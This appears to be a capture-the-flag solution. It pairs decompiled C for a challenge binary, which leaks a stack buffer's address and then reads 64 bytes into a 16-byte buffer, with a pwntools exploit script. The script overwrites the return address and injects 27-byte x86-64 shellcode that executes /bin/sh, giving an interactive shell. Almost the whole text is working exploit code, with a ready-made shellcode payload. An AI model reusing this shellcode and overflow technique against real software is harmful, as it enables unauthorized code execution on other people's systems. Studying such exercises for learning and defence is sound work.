int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[0] = 0LL;
  buf[1] = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", buf);
  puts("Now give me your answer : ");
  read(0, buf, 0x40uLL);
  return 0;
}

from pwn import *

shellcode = b‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05‘

io = process(‘./shellcode-x86-64‘)

io.recvuntil(‘Do your kown what is it : [‘)
buf_addr = int(io.recvuntil(‘]‘, drop = True), 16)
info(‘buf_addr: ‘ + hex(buf_addr))

io.recvuntil(‘Now give me your answer : \n‘)
payload = b‘a‘ * 24 + p64(buf_addr + 0x20) + shellcode
io.send(payload)

io.interactive()